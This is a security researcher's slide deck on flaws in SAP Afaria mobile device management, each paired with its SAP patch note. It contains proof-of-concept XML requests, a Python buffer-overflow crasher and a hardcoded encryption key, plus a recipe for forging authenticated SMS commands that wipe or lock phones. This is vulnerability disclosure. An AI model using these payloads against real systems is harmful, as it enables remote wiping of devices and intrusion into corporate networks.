SAP Afaria. One SMS to hack a company
About me

Yet another security researcher

Business application security expert

ERPScan
The only 360-degree SAP security solution: ERPScan Security Monitoring Suite for SAP

Leader by the number of acknowledgments from SAP (200+)

100+ presentations key security conferences worldwide

30+ awards and nominations

Research team: 20 experts with experience in different areas of security

Headquarters in Palo Alto (US) and Amsterdam (EU)
What is SAP?

• The most popular business application
• More than 250000 customers worldwide
• 83% Forbes 500 companies run SAP
• Main system – ERP
• Main platforms
  – SAP NetWeaver ABAP
  – SAP NetWeaver J2EE
  – SAP BusinessObjects
  – SAP HANA
  – SAP Mobile Platform (SMP)
What is BYOD?

BYOD
Bring Your Own Device
What is MDM?

Mobile Device Management

- iPad / iPhone / Android Tablet and Phone
- Protected Mobile Devices
- Strong Security Policy
- App Management
- Tracking and Locating
- Password Enforcement
- Device Encryption
- Remote Wipe / Lock
SAP Afaria
SAP Afaria

- Version 7.0 SP6: Released September 2015 (as SAP Afaria SP6)
- Version 7.0 SP5: Released August 2014 (as SAP Afaria SP5)
- Version 7.0 SP4: Released December 2013 (as SAP Afaria SP4)
- Version 7.0 SP2: Released December 2012 (as SAP Afaria SP2)
- Version 7.0: Released April 2012 (as SAP Afaria)
- Version 6.6: Released September 2010
- Version 6.5: Released November 2009
- Version 6.0: Released December 2008
- Version 5.0: Released November 2003
- Version 4.0: Released June 2000 (as Afaria)
- Version 3.5: Released May 2000 (as Afaria for Handhelds)
- Version 3.0: Released October 1999
- Version 2.0: Released February 1999 (as CONNECT:Manage)
- Version 1.2: Released October 1997 (as RemoteWare Express)
- Version 1.0: Released February 1997 (as SessionXpress)
SAP Afaria

Managed Mobility Afaria

- MDM Device Security
- Usage Analytics
- Data Partitioning
- Integration with App Middleware Platforms
- Asset Tracking
- Device Configuration
- Help Desk
- App Provisioning & Management
• Policies
  – Enrollment
  – Configuration
  – Application
Enrollment policy

Policy: Chick enroll
Note: 
State: Published
Last Modified: 18.02.2015 22:29:31
Type: Enrollment
OS: Android
Self-Service Portal Enrollment Info

Enrollment URL: http://172.16.10.7/apps/psService.svc/GetEnrollmentSeedData?ID=(e016ce09-d103-436f-a774-4bdf0a7d7085)&ClientType=-10
Enrollment Code: a6704e4d

Third Party URL Services:

<table>
<thead>
<tr>
<th>Code</th>
<th>State</th>
<th>Portal Only</th>
<th>Code</th>
<th>URL Service</th>
<th>Expiration Date</th>
<th>Creation Date</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Y</td>
<td>Y</td>
<td>T</td>
<td>T</td>
<td>T</td>
<td>T</td>
</tr>
</tbody>
</table>

Afaria

Enter your enrollment code: tphoktdm

Cancel OK

SAP The Best-Run Businesses Run SAP™
Configuration policy

Configuration setting:

- Screen lock password required: Yes
- Restrict policies until password is set: Yes
- Minimum password length: Numeric
  - 4
  - 5
  - 15 seconds
- Minimum password attempts before the device hard resets
- Maximum idle time until lock

Android 3.X and Above:
- Minimum password letters: 1
- Minimum password lowercase: 1
- Minimum password uppercase: 1
- Minimum password non-letter: 1
- Minimum password numeric: 1
- Minimum password complex characters: 1
- Password history: 10
- Maximum number of days until password expires: 90
- Encrypt storage: Yes

Android 4.X and Above:
- Camera disabled: Yes
- Allow Afaria client screen shots: Yes
• Device information
  – Calls
  – SMS/MMS
  – Locations
  – Hardware information
  – Application information
  – etc...
## Device Information

### Table

<table>
<thead>
<tr>
<th>Type</th>
<th>Direction</th>
<th>Latitude</th>
<th>Longitude</th>
<th>Network</th>
</tr>
</thead>
<tbody>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>72344</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
<tr>
<td>SMS</td>
<td>Incoming</td>
<td>7656</td>
<td>156</td>
<td></td>
</tr>
</tbody>
</table>

### Additional Details
- **Blocks Available:** 2844214
- **Phone Type:** GSM

---

**erpscan.com**

**ERPScan – Invest In Security To Secure Investments**
• Communications
  – HTTP/HTTPS
  – Xnet
  – SMS
  – Google Cloud Messaging / Apple Push Notification
SAP Afaria vulnerabilities
SAP Afaria: good things
Good things
Good things
SAP Afaria: bad things
Missing authorization
Issue 1. Missing authorization

- Command value **Run Channel** or **Test**
- The XML request must start with 4 spaces
- PoC:

```xml
<AfariaNotify version="1.0.0">
<Message type="Command" value="Run Channel">
<Client name="AFARIA70PT">
<Client name="LOCALHOST"
    GUID="59146189-1f92-46d5-85aa-6293631d5d2e">
<Transmitter address="172.16.2.67:4444\asd">
<Channel address="\172.16.2.67:4444\asd" name="\172.16.2.67:4444\df"></Channel>
</Transmitter>
</Client>
</Message>
</AfariaNotify>
```
• Install SAP Security Note 2134905
• Missing authorization check in XCLListener
Overflows
Issue 2. XcListener DoS

```xml
<AfariaNotify version="1.0.0">
  <Message type="Command" value="Run Channel">
    <Client name="LOCALHOST">
      <Client name="LOCALHOST" GUID="59146189-1f92-46d5-85aa-6293631d5d2e">
        <Transmitter address="172.16.2.67:4444">
          <Channel address="172.16.2.67:4444\asd" name="172.16.2.67:4444\(A*1491)">
          </Channel>
        </Transmitter>
      </Client>
    </Client>
  </Message>
</AfariaNotify>
```

(A*3678)
### Issue 3. XcListener BoF

- **PoC:**

```python
import socket

HOST = 'hostname'
PORT = 3005
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
poc = 'A'*4098
s.send(poc)
data = s.recv(10000)
s.close()
print 'Received', (data)
```
• Install SAP Security Note 2132584
• Buffer overflow in SAP Afaria 7 XcListener
Hardcoded values
Issue 4. Pwd in txt

```
[Client]
Silent=1
InstallDir=%PROGRAMFILES%\AClient\Bin
ClientCategory=Win32
DeleteExecutableDirectory=1
GetUserInfo=0
Manifest=CR;
DataDir=%ALLUSERSPROFILE%\AClient\Data
TransmitterAddress=xnet://AFARIA70PT.3007
TransmitterName=AFARIA70PT
TransmitterID=08zpo
ServiceAccountName=AFARIA70PT\administrator
ServiceAccountPassword=FDP
SystemTrayIcon=1
InstallListener=1
DesktopShortcut=0
StartMenuShortcut=1
RebootHandling=Delayed
TenantID=08zpo:0
VistaMakekit=1
ForcePathMigration=1
FriendlyNamePrefix=
FriendlyNameScheme=0
FriendlyNameDesignatedValue=
UserContext=0
```
Issue 5. Hardcoded encryption key
public static String a(Context paramContext, String paramString)
{
    if (paramString != null) {
        try {
            d locald = b.a(paramString);
            if ((locald == d.c) || (locald == d.d)) {
                return b.a().d(paramString);
            }
            x localx = new x("6v9F6i/hQ6M+Dei683bTnMk ");
            g localg = new g();
            byte[] arrayOfByte = Base64.decode(paramString, 2);
            localg.a(localx);
            localg.a(arrayOfByte, arrayOfByte.length);
            String str = new String(arrayOfByte).trim();
            return str;
        }
    }
}
Issue 7. Hardcoded encryption key. Again and again

```csharp
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace XcellNet.Afaira.Utilities
{
    internal class DataEncryption
    {
        private enum eAlgorithm
        {
            AES = 1
        }
        private const int CharacterSize = 2;
        private const int AesBlockSize = 16;
        private const int KeySize256 = 32;
        private const int HeaderSize = 2;
        private const int CurrentVersion = 1;
        private const int VersionSize = 4;
        private const int Algorithm = 1;
        private const int AlgorithmSize = 4;
        private const int InitialVectorSize = 16;
        private const int EnvelopeSizeV01 = 26;
        private const int MinMsgSizeV01 = 28;
        private const int KeySize = 32;
        private static byte[] Junk = new byte[]
        {
        };
        private static byte[] Header = new byte[]
        {
        }
        public static bool EncodedWithCurrent(string inputString)
```
string sSQL = "SELECT FEK FROM A_SEC_MGR_FEKs WHERE (ClientGUID = '' + this.m_sClientGUID + '')";
DataSet dataSet = this.m_SMDBAccess.get_DBDal().RunSQL(sSQL);
if (dataSet.Tables[0].Rows.Count == 0)
{
    text = this.GenerateFEK();
    sSQL = string.Concat(new string[]
    {
        "INSERT INTO A_SEC_MGR_FEKs (ClientGUID, FEK) VALUES ('', "
        this.m_sClientGUID,
        '', ''
        text,
        '"
    }));
    this.m_SMDBAccess.get_DBDal().RunSQL(sSQL);
}
else
{
    text = dataSet.Tables[0].Rows[0].ItemArray[0].ToString();
}
IL_19E:
this.ConvertHexStringToByteArray(text);
rowPolicyGlobals.set_UserFileEncryptionKey(this.EncryptString(text));
rowPolicyGlobals.set_AdminFileEncryptionKey(this.EncryptString(text));
rowPolicyGlobals.set_TRPFileEncryptionKey(this.EncryptString(text));
return text;

---

private string EncryptString(string s)
{
    return s;
}
XSS
Issue 8. Stored XSS

Session Reason: Manual Connection
Connecting to XNET://afaria70pt:3007
Connected to afaria70pt:3007
NewServer: true
KeyHash: k99V3L0cU9nw2Xovw5OA66tCwDnvdCxyX13k77wDA=
EncryptionAlg:4
– [sid:
{00000000-0000-0000-0000-000000000000}]
– Send Cookie [144]
– Unknown [24]=08zpo

This client is not approved.
Failed at 3/5/2015 6:55 PM
Issue 8. Stored XSS
DEMO
• Install SAP Security Notes: 2153690, 2152669
Control via SMS
Issue 9. Control via SMS

• Administrators can use SMS commands to:
  – Lock phone
  – Wipe phone
  – Unlock phone
  – Request log
  – Block user
  – Send message
  – Remediate
  – Transmit location data
  – Implement policy
  – etc.
Issue 9. SMS command

- WIPEALLDATA
- WIPENITRODESK
- WIPENITRODESKSDCARD
- LOCKDEVICE
- FETCHLOG
- UNLOCKDEVICE
- USERLOCK
- REMEDIATE
- NOTIFY
- etc..
This is how an SMS to lock user looks:
@#!Afaria64aACAhntVzjTIjhHDMGql8ldvc/8U6I1IoPU7aAOT8=$\$CMD:USERLOCK

– where:
@#!Afaria – a signature telling the Afaria mobile application to process the message
64aACAhntVzjTIjhHDMGql8ldvc/8U6I1IoPU7aAOT8= – a Base64 SMS authentication string
$\$CMD – an ID which means the SMS contains a command
USERLOCK – the command
Issue 9. SMS command

- Authentication string is SHA256 hash
- This is what is hashed:
  
  `<LastAdminSessionID> + <ClientID> + <TransmitterID> + $\$CMD:<CMD_NAME>`

  – where:

  `<LastAdminSessionID>` – ID of the last session of this phone with the Afaria server
  `<ClientID>` – mobile device ID
  `<TransmitterID>` – transmitter ID
Issue 9. SMS command

• Authentication string is SHA256 hash
• This is what is hashed:
  \(<LastAdminSessionID>+<ClientID>+<TransmitterID>+\$$CMD:<CMD_NAME>\)
  – where:
  \(<LastAdminSessionID>\) – ID of the last session of this phone with the Afaria server
  \(<ClientID>\) – mobile device ID
  \(<TransmitterID>\) – transmitter ID

• SMS:
  @#!Afaria+base64(sha256(<LastAdminSessionID>+
  <ClientID>+<TransmitterID>+\$$CMD: +<CMD_NAME>))+$\$$CMD:+ <CMD_NAME>
private static boolean a(final String s, final String s2) {
    while (true) {
        try {
            c.a(t.a);
            final String upperCase = c.c("LastSessionGUID", "").toUpperCase(Locale.US);
            final String upperCase2 = c.c("ClientGUID", "").toUpperCase(Locale.US);
            final String c = com.Android.Afaria.core.c.c("TransmitterID", "");
            final int length = upperCase2.length();
            boolean b = false;
            if (length != 0) {
                final int length2 = upperCase.length();
                b = false;
                if (length2 != 0) {
                    final int length3 = c.length();
                    b = false;
                    if (length3 != 0) {
                        final String d = d(upperCase + upperCase2 + c + s2);
                        final String d2 = d(upperCase2 + upperCase2 + c + s2);
                        com.Android.Afaria.tools.b.b("Command", "SMS Hash: " + s);
                        com.Android.Afaria.tools.b.b("Command", "Calculated Hash: " + d);
                        com.Android.Afaria.tools.b.b("Command", "Ignore lastSessionGUID calculated Hash: " + d2);
                        if (d2.compareTo(s) == 0 || d.compareTo(s) == 0) {
                            com.Android.Afaria.tools.b.b("Command", "Hashes match!");
                            b = true;
                        } else {
                            com.Android.Afaria.tools.b.b("Command", "Hashes do not match!");
                            b = false;
                        }
                    }
                }
            }
        }
    }
}
• This is how the SMS structure looks now:

@#!Afaria+base64(sha256(<ClientID > +<ClientID>+<TransmitterID>+$\$CMD: +<CMD_NAME>))+$\$CMD:+ <CMD_NAME>
Issue 9. SMS command

- **TransmitterID** can be received anonymously by sending a connection request to the Afaria server

```java
private static UUID c()
{
    TelephonyManager localTelephonyManager = (TelephonyManager)a.getSystemService("phone");
    UUID localUUID;
    if (localTelephonyManager != null)
    {
        localUUID1 = c(localTelephonyManager.getDeviceId());
        if (localUUID1 == null) {} // Commented out
    }
    for (;;) // Commented out
    {
        Field localField;
        if (localUUID1 == null) {
            localField = a.a(Build.class, "SERIAL");
        }
        for (;;) // Commented out
        {
            try
            {
```
• **International Mobile Station Equipment Identity**
• **IMEI?**
  – Information Disclosure from some apps
  – XSS
  – bruteforce
  – ...

Issue 9. SMS command

- IMEI?
  - IMEI catcher
• Install SAP Security Note: 2155690
Each SAP landscape is unique and we pay close attention to the requirements of our customers and prospects. ERPScan development team constantly addresses these specific needs and is actively involved in product advancement. If you wish to know whether our scanner addresses a particular aspect, or simply have a feature wish list, please e-mail us. We will be glad to consider your suggestions for the future releases or monthly updates.

228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301
USA HQ

Luna Arena 238 Herikerbergweg, 1101 CM Amsterdam
EU HQ

www.erpscan.com
info@erpscan.com